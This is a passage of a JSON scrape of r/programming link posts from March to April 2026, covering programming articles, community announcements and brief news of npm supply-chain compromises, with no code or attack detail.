  "createdAt": "2026-04-09T13:40:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://allvpv.org/haotic-journey-through-envvars/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sgnbec",
  "url": "https://cacm.acm.org/news/how-nasa-built-artemis-iis-fault-tolerant-computer/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sgnbec/how_nasa_built_artemis_iis_faulttolerant_computer/",
  "title": "How NASA Built Artemis II’s Fault-Tolerant Computer",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 601,
  "upvoteRatio": 0.96,
  "numComments": 115,
  "createdAt": "2026-04-09T11:47:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cacm.acm.org/news/how-nasa-built-artemis-iis-fault-tolerant-computer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sg6y9x",
  "url": "https://pizzalegacy.nl/blog/traffic-system.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1sg6y9x/how_pizza_tycoon_1994_simulated_traffic_on_a_25/",
  "title": "How Pizza Tycoon (1994) simulated traffic on a 25 MHz CPU",
  "body": null,
  "author": "Optdev",
  "subreddit": "programming",
  "score": 786,
  "upvoteRatio": 0.98,
  "numComments": 51,
  "createdAt": "2026-04-08T22:00:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pizzalegacy.nl/blog/traffic-system.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sg5gss",
  "url": "https://programmers.fyi/fake-it-until-you-break-it-the-end-of-non-technical-managers-in-software-engineering-dawns",
  "permalink": "https://www.reddit.com/r/programming/comments/1sg5gss/fake_it_until_you_break_it_the_end_of/",
  "title": "Fake It Until You Break It: The End Of Non-Technical Managers In Software Engineering Dawns",
  "body": null,
  "author": "derjanni",
  "subreddit": "programming",
  "score": 1083,
  "upvoteRatio": 0.89,
  "numComments": 210,
  "createdAt": "2026-04-08T21:03:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://programmers.fyi/fake-it-until-you-break-it-the-end-of-non-technical-managers-in-software-engineering-dawns",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sfoqwq",
  "url": "https://functiondispatch.substack.com/p/i-am-very-fond-of-the-pipeline-operator",
  "permalink": "https://www.reddit.com/r/programming/comments/1sfoqwq/i_am_very_fond_of_the_pipeline_operator/",
  "title": "I Am Very Fond of the Pipeline Operator",
  "body": null,
  "author": "techne98",
  "subreddit": "programming",
  "score": 256,
  "upvoteRatio": 0.89,
  "numComments": 126,
  "createdAt": "2026-04-08T10:15:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://functiondispatch.substack.com/p/i-am-very-fond-of-the-pipeline-operator",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sfmt0l",
  "url": "https://blog.infotraining.pl/hashing-in-cpp-26",
  "permalink": "https://www.reddit.com/r/programming/comments/1sfmt0l/hashing_in_c26/",
  "title": "Hashing in C++26",
  "body": null,
  "author": "Krystian-Piekos",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.56,
  "numComments": 0,
  "createdAt": "2026-04-08T08:19:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.infotraining.pl/hashing-in-cpp-26",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sfc9cq",
  "url": "https://www.youtube.com/watch?v=t992ul_IKtc",
  "permalink": "https://www.reddit.com/r/programming/comments/1sfc9cq/dave_garage_why_your_new_computer_is_slower_than/",
  "title": "Dave Garage - Why your new computer is slower than your old computer",
  "body": null,
  "author": "dukey",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 27,
  "createdAt": "2026-04-07T23:26:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=t992ul_IKtc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sesbjq",
  "url": "https://cekrem.github.io/posts/parse-dont-validate-typescript/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sesbjq/parse_dont_validate_in_a_language_that_doesnt/",
  "title": "Parse, Don't Validate — In a Language That Doesn't Want You To · cekrem.github.io",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 256,
  "upvoteRatio": 0.89,
  "numComments": 73,
  "createdAt": "2026-04-07T10:39:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/parse-dont-validate-typescript/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1se52tt",
  "url": "https://corvora.github.io/posix_complete.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1se52tt/pdf_of_the_current_posix_standard/",
  "title": "PDF of the current POSIX standard",
  "body": "I searched for the PDF of the POSIX standard and it was 600$ in IEEE Xplore. I decided to put every page together in a PDF so everybody can access it. ToC is not available at the moment, hopefully will fix.",
  "author": "CodeEleven0",
  "subreddit": "programming",
  "score": 276,
  "upvoteRatio": 0.93,
  "numComments": 78,
  "createdAt": "2026-04-06T17:15:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://corvora.github.io/posix_complete.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sdnq0f",
  "url": "https://github.com/mikf/gallery-dl/discussions/9304",
  "permalink": "https://www.reddit.com/r/programming/comments/1sdnq0f/media_scraper_gallerydl_is_moving_to_codeberg/",
  "title": "Media scraper Gallery-dl is moving to Codeberg after receiving a DMCA notice, claiming that its circumvention.",
  "body": null,
  "author": "TheTwelveYearOld",
  "subreddit": "programming",
  "score": 308,
  "upvoteRatio": 0.93,
  "numComments": 37,
  "createdAt": "2026-04-06T03:27:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/mikf/gallery-dl/discussions/9304",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1scyws6",
  "url": "https://cloudmark.github.io/Cats-Actors-Native-And-JS/",
  "permalink": "https://www.reddit.com/r/programming/comments/1scyws6/we_got_a_scala_actor_system_running_live_in_the/",
  "title": "We got a Scala actor system running live in the browser",
  "body": "Cats-Actors is a typed actor library built on Cats Effect. With the new 2.1.0 release it now compiles to Scala.js, which means you can run actor-based concurrent logic directly in the browser.\n\nThe blog post has a live demo embedded - 8 monkey actors throwing bananas at each other, all running in your browser tab. We also benchmark JVM vs Scala Native performance with a ring benchmark.\n\n[https://cloudmark.github.io/Cats-Actors-Native-And-JS/](https://cloudmark.github.io/Cats-Actors-Native-And-JS/)",
  "author": "kloudmark",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 1,
  "createdAt": "2026-04-05T09:05:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cloudmark.github.io/Cats-Actors-Native-And-JS/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1scqae7",
  "url": "https://yusufaytas.com/good-apis-age-slowly/",
  "permalink": "https://www.reddit.com/r/programming/comments/1scqae7/good_apis_age_slowly/",
  "title": "Good APIs Age Slowly",
  "body": null,
  "author": "SpecialistLady",
  "subreddit": "programming",
  "score": 345,
  "upvoteRatio": 0.96,
  "numComments": 51,
  "createdAt": "2026-04-05T01:12:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yusufaytas.com/good-apis-age-slowly/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sbuv3p",
  "url": "https://www.doc.ic.ac.uk/%7Esusan/475/unmain.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1sbuv3p/how_to_write_unmaintainable_code_1999/",
  "title": "How To Write Unmaintainable Code (1999)",
  "body": null,
  "author": "Ordinary_Leader_2971",
  "subreddit": "programming",
  "score": 488,
  "upvoteRatio": 0.98,
  "numComments": 104,
  "createdAt": "2026-04-04T00:37:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.doc.ic.ac.uk/%7Esusan/475/unmain.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sbkx3b",
  "url": "https://safedep.io/malicious-npm-strapi-plugin-events-c2-agent/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sbkx3b/someone_is_actively_publishing_malicious_packages/",
  "title": "Someone is actively publishing malicious packages targeting the Strapi plugin ecosystem right now",
  "body": "`strapi-plugin-events` dropped on npm today. Three files. Looks like a legitimate community Strapi plugin - version `3.6.8`, named to blend in with real plugins like `strapi-plugin-comments` and `strapi-plugin-upload`.\n\nOn `npm install` it runs an 11-phase attack with zero user interaction:\n\n* Steals all `.env` files, JWT secrets, database credentials\n* Dumps Redis keys, Docker and Kubernetes secrets, private keys\n* Opens a 5-minute live C2 session for arbitrary shell command execution\n\nThe publisher account `kekylf12` on npm is actively pushing multiple malicious packages right now and all targeting the Strapi ecosystem.\n\nCheck the account: [npmjs.com/\\~kekylf12](http://npmjs.com/~kekylf12)\n\nIf you work with Strapi or have any community plugins installed that aren't scoped under strapi/ - audit your dependencies now. Legitimate Strapi plugins are always scoped. Anything unscoped claiming to be a Strapi plugin is a red flag.\n\nFull technical breakdown with IoCs is in the blog.",
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 234,
  "upvoteRatio": 0.98,
  "numComments": 36,
  "createdAt": "2026-04-03T18:02:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/malicious-npm-strapi-plugin-events-c2-agent/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sbir8j",
  "url": "https://isolveproblems.substack.com/p/how-microsoft-vaporized-a-trillion",
  "permalink": "https://www.reddit.com/r/programming/comments/1sbir8j/how_microsoft_vaporized_a_trillion_dollars/",
  "title": "How Microsoft Vaporized a Trillion Dollars",
  "body": null,
  "author": "Aaronontheweb",
  "subreddit": "programming",
  "score": 2066,
  "upvoteRatio": 0.96,
  "numComments": 340,
  "createdAt": "2026-04-03T16:44:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://isolveproblems.substack.com/p/how-microsoft-vaporized-a-trillion",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sbc9yu",
  "url": "https://www.matheusmoreira.com/articles/babys-second-garbage-collector",
  "permalink": "https://www.reddit.com/r/programming/comments/1sbc9yu/babys_second_garbage_collector/",
  "title": "Baby’s Second Garbage Collector",
  "body": null,
  "author": "matheusmoreira",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 0,
  "createdAt": "2026-04-03T12:30:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.matheusmoreira.com/articles/babys-second-garbage-collector",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1saat0f",
  "url": "https://beta.stackoverflow.com",
  "permalink": "https://www.reddit.com/r/programming/comments/1saat0f/new_stackoverflow_website_looks_more_like_reddit/",
  "title": "New StackOverflow website looks more like Reddit",
  "body": null,
  "author": "dumindunuwan",
  "subreddit": "programming",
  "score": 406,
  "upvoteRatio": 0.95,
  "numComments": 124,
  "createdAt": "2026-04-02T07:37:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://beta.stackoverflow.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s9jkzi",
  "url": "https://www.reddit.com/r/programming/comments/1s9jkzi/announcement_temporary_llm_content_ban/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s9jkzi/announcement_temporary_llm_content_ban/",
  "title": "Announcement: Temporary LLM Content Ban",
  "body": "Hey folks,\n\nAfter a lot of discussion, we've decided to trial a ban of any and all content relating to LLMs. We get a lot of posts related to LLMs and typically they are not in line with what we want the subreddit to be — a place for detailed, technical learning and discourse about software engineering, driven by high quality, informative content. And unfortunately, the volume of LLM-related content easily overwhelms other topics.\n\nWe also believe that, generally, the community have been indicating that, by and large, they aren't interested in this content. So, we want to see how a trial ban impacts how people use the sub. As such:\n\nWhile this post is stickied, for 2-4 weeks over April, **we're banning all LLM-related content from the sub.**\n\nThat's posts, articles, videos _about_ LLMs. We've had a ban on LLM-generated text for ages already, this doesn't change that.\n\nNote that this doesn't ban all _AI_ related content. An article detailing _how_ what would have traditionally been called an AI was made for Go? Totally fine. A technical breakdown of a machine learning process? Great! Just so long as it's not about LLMs.\n\nEdit: **Yes, this is real, it's not an April Fool's joke.**",
  "author": "ChemicalRascal",
  "subreddit": "programming",
  "score": 2820,
  "upvoteRatio": 0.95,
  "numComments": 332,
  "createdAt": "2026-04-01T12:48:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/1s9jkzi/announcement_temporary_llm_content_ban/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s98wuw",
  "url": "https://a10k.co/b/reverse-engineering-claude-code-cch.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1s98wuw/whats_cch_reverse_engineering_claude_codes/",
  "title": "What's cch? Reverse Engineering Claude Code's Request Signing",
  "body": "I originally reverse engineered this when Fast Mode was first introduced and contacted Anthropic in order to get approval for responsible disclosure but I never heard back. Now that there's a lot of buzz around the CCH header, I wanted to share what I found.",
  "author": "tcdent",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.61,
  "numComments": 11,
  "createdAt": "2026-04-01T03:14:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://a10k.co/b/reverse-engineering-claude-code-cch.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s92zad",
  "url": "https://snawoot.github.io/go_web_right_way.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1s92zad/making_services_with_go_right_way/",
  "title": "Making Services With Go Right Way",
  "body": null,
  "author": "yarmak",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 6,
  "createdAt": "2026-03-31T22:56:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://snawoot.github.io/go_web_right_way.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s92a6o",
  "url": "https://maintainable.fm/episodes/russ-olsen-the-hidden-cost-of-forgetting-why-the-code-looks-like-that-uozj8sOU",
  "permalink": "https://www.reddit.com/r/programming/comments/1s92a6o/why_does_this_code_look_like_this_nobody_knows/",
  "title": "\"Why does this code look like this?\" Nobody knows. That's the problem.",
  "body": "Most codebases document what the code does. Almost none of them document why a decision was made, what alternatives were rejected, or what constraints existed at the time. That context quietly disappears as people leave, and future maintainers either reverse decisions that existed for good reason or spend weeks rediscovering something someone already figured out.\n\nRuss Olsen (author of *Eloquent Ruby*) covers this and a few other uncomfortable truths about legacy systems in a recent Maintainable episode, including why teams develop a kind of learned helplessness about their own codebases and stop questioning assumptions that may never have been correct.",
  "author": "robbyrussell",
  "subreddit": "programming",
  "score": 235,
  "upvoteRatio": 0.91,
  "numComments": 62,
  "createdAt": "2026-03-31T22:28:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://maintainable.fm/episodes/russ-olsen-the-hidden-cost-of-forgetting-why-the-code-looks-like-that-uozj8sOU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s8t8hp",
  "url": "https://github.com/oven-sh/bun/issues/28001",
  "permalink": "https://www.reddit.com/r/programming/comments/1s8t8hp/a_bug_in_bun_may_have_been_the_root_cause_of_the/",
  "title": "A bug in Bun may have been the root cause of the Claude Code source code leak.",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 1173,
  "upvoteRatio": 0.94,
  "numComments": 174,
  "createdAt": "2026-03-31T17:01:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/oven-sh/bun/issues/28001",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s8kni4",
  "url": "https://x.com/Fried_rice/status/2038894956459290963",
  "permalink": "https://www.reddit.com/r/programming/comments/1s8kni4/claude_codes_source_leaked_via_a_map_file_in/",
  "title": "Claude Code's source leaked via a map file in their NPM registry",
  "body": null,
  "author": "worthwhilewrongdoing",
  "subreddit": "programming",
  "score": 1481,
  "upvoteRatio": 0.96,
  "numComments": 216,
  "createdAt": "2026-03-31T11:22:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://x.com/Fried_rice/status/2038894956459290963",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s8i9sp",
  "url": "https://joshmoody.org/blog/shopify-ceo-autoresearch-pr/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s8i9sp/prediction_the_shopify_ceos_pull_request_will/",
  "title": "Prediction: The Shopify CEO's Pull Request Will Never Be Merged Nor Closed",
  "body": null,
  "author": "ricekrispysawdust",
  "subreddit": "programming",
  "score": 844,
  "upvoteRatio": 0.97,
  "numComments": 227,
  "createdAt": "2026-03-31T09:08:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://joshmoody.org/blog/shopify-ceo-autoresearch-pr/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s8dk9q",
  "url": "https://socket.dev/blog/axios-npm-package-compromised",
  "permalink": "https://www.reddit.com/r/programming/comments/1s8dk9q/why_have_supply_chain_attacks_become_a_near_daily/",
  "title": "Why have supply chain attacks become a near daily occurrence ?",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 379,
  "upvoteRatio": 0.95,
  "numComments": 135,
  "createdAt": "2026-03-31T04:32:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://socket.dev/blog/axios-npm-package-compromised",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s8ct9i",
  "url": "https://safedep.io/axios-npm-supply-chain-compromise/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s8ct9i/axios_1141_and_0304_on_npm_are_compromised/",
  "title": "axios 1.14.1 and 0.30.4 on npm are compromised -  dependency injection via stolen maintainer account",
  "body": "Two versions of axios were published today through what appears to be a compromised maintainer account. No GitHub tag exists for either version. SLSA provenance attestations present in 1.14.0 are completely absent. Publisher email switched from the CI-linked address to a Proton Mail account( classic account takeover signal).\n\n>\n\n  \n",
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 500,
  "upvoteRatio": 0.98,
  "numComments": 83,
  "createdAt": "2026-03-31T03:54:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/axios-npm-supply-chain-compromise/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s7xp78",
  "url": "https://www.database-doctor.com/posts/joins-are-not-expensive",
  "permalink": "https://www.reddit.com/r/programming/comments/1s7xp78/joins_are_not_expensive/",
  "title": "Joins are NOT Expensive",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 275,
  "upvoteRatio": 0.89,
  "numComments": 180,
  "createdAt": "2026-03-30T17:44:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.database-doctor.com/posts/joins-are-not-expensive",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s78u0t",
  "url": "https://svebaa.github.io/personal/blog/cdp-fingerprinting/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s78u0t/the_ecmascript_spec_forces_v8_to_leak_whether/",
  "title": "The ECMAScript spec forces V8 to leak whether DevTools is open",
  "body": null,
  "author": "LongFaithlessness59",
  "subreddit": "programming",
  "score": 67,
  "upvoteRatio": 0.65,
  "numComments": 37,
  "createdAt": "2026-03-29T22:19:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://svebaa.github.io/personal/blog/cdp-fingerprinting/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s6b9zt",
  "url": "https://blog.thereallo.dev/blog/decompiling-the-white-house-app",
  "permalink": "https://www.reddit.com/r/programming/comments/1s6b9zt/i_decompiled_the_white_houses_new_app/",
  "title": "I Decompiled the White House's New App",
  "body": "Setting aside the politics, it's a badly written, very snoopy app. ",
  "author": "CackleRooster",
  "subreddit": "programming",
  "score": 2682,
  "upvoteRatio": 0.96,
  "numComments": 265,
  "createdAt": "2026-03-28T20:35:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.thereallo.dev/blog/decompiling-the-white-house-app",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s609mx",
  "url": "https://youtu.be/hJ4S-5MirvU",
  "permalink": "https://www.reddit.com/r/programming/comments/1s609mx/how_to_implement_the_outbox_pattern_in_go_and/",
  "title": "How to implement the Outbox pattern in Go and Postgres",
  "body": null,
  "author": "der_gopher",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 0,
  "createdAt": "2026-03-28T13:24:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/hJ4S-5MirvU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s5ja3a",
  "url": "https://www.iankduncan.com/engineering/2026-02-05-github-actions-killing-your-team",
  "permalink": "https://www.reddit.com/r/programming/comments/1s5ja3a/github_actions_is_slowly_killing_your_engineering/",
  "title": "GitHub Actions Is Slowly Killing Your Engineering Team - Ian Duncan",
  "body": null,
  "author": "cbigsby",
  "subreddit": "programming",
  "score": 586,
  "upvoteRatio": 0.88,
  "numComments": 142,
  "createdAt": "2026-03-27T22:48:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.iankduncan.com/engineering/2026-02-05-github-actions-killing-your-team",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s59ff3",
  "url": "https://bepis.io/blog/turbo-csv-parser/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s59ff3/how_i_accidentally_made_the_fastest_c_csv_parser/",
  "title": "How I accidentally made the fastest C# CSV parser",
  "body": null,
  "author": "big_bill_wilson",
  "subreddit": "programming",
  "score": 367,
  "upvoteRatio": 0.83,
  "numComments": 123,
  "createdAt": "2026-03-27T16:41:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bepis.io/blog/turbo-csv-parser/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s52ded",
  "url": "https://research.google/blog/turboquant-redefining-ai-efficiency-with-extreme-compression/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s52ded/turboquant_redefining_ai_efficiency_with_extreme/",
  "title": "TurboQuant: Redefining AI efficiency with extreme compression",
  "body": null,
  "author": "yusufaytas",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.68,
  "numComments": 25,
  "createdAt": "2026-03-27T12:14:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://research.google/blog/turboquant-redefining-ai-efficiency-with-extreme-compression/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s4bj6i",
  "url": "https://matiassalles99.codes/posts/building-nes-emulator-crystal-book/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s4bj6i/building_a_nes_emulator_from_scratch/",
  "title": "Building a NES Emulator from Scratch",
  "body": null,
  "author": "matiassalles99",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.65,
  "numComments": 28,
  "createdAt": "2026-03-26T15:59:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://matiassalles99.codes/posts/building-nes-emulator-crystal-book/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s4adqp",
  "url": "https://blog.hofstede.it/shell-tricks-that-actually-make-life-easier-and-save-your-sanity/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s4adqp/shell_tricks_that_actually_make_life_easier_and/",
  "title": "Shell Tricks That Actually Make Life Easier (And Save Your Sanity)",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 383,
  "upvoteRatio": 0.96,
  "numComments": 79,
  "createdAt": "2026-03-26T15:18:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.hofstede.it/shell-tricks-that-actually-make-life-easier-and-save-your-sanity/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s45e9i",
